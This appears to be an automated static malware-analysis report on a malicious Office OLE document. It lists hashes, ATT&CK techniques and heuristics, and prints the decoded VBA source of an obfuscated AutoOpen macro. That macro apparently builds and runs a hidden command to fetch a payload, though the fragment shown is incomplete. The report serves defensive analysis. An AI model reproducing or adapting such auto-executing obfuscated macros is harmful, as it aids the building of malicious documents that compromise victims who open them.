Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 498cf8d663810f51…

MALICIOUS

Office (OLE)

69.2 KB First seen: 2019-05-16
MD5: 8bffb9cc78ab4425cf7e85cc5a76e416 SHA-1: 3b46bca0e180cbda3a24d01c249b7bb4ddbb29a2 SHA-256: 498cf8d663810f515e0cc1600c88f8f3fcbefa468bb070e128db4444f1bb12f2
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OLE document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The AutoOpen macro appears to construct and execute a command, likely to download and run a secondary payload. The presence of an embedded URL heuristic further supports this, although the URL itself was confirmed benign.

Heuristics 4

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 70,869 bytes but its declared streams total only 36,395 bytes — 34,474 bytes (49%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 801 bytes
SHA-256: 2bf2626032fa22be7e13f6067792af2dd50644a9b020cc75b97c5feee1e88de7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ZIhIpmj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   If ozvjrE Xor GtljZ Then

wauzF = "OCFSwJ"
End If
   If pmJTl <= 12 Then

ALJWOw = "kNRVZf"
End If
   If pdoLt = shwdrl Then

umfnIY = "DBpGtYXJbwiSEY"
End If
   If Hstwwk >= mChjq Then

irztwI = "YkjSCRR"
End If
jmHtqvtib (KeyString(mVWBG + hwZbkZU + 17 + 19 + 31 + vwIkQY + wdpow) + BJmAnzj + dcXoWj + KeyString(jEdjFZlN + Ddquka + 20 + 21 + 36 + bnUwULi + oAvlO) + wmwaJ + morOjcjH + bOfhVCUKH + fkwzPzSQ + qwnOItzK)
   If hRVPjG <= wZjJh Then

mIXczn = "Wp"
End If
End Sub

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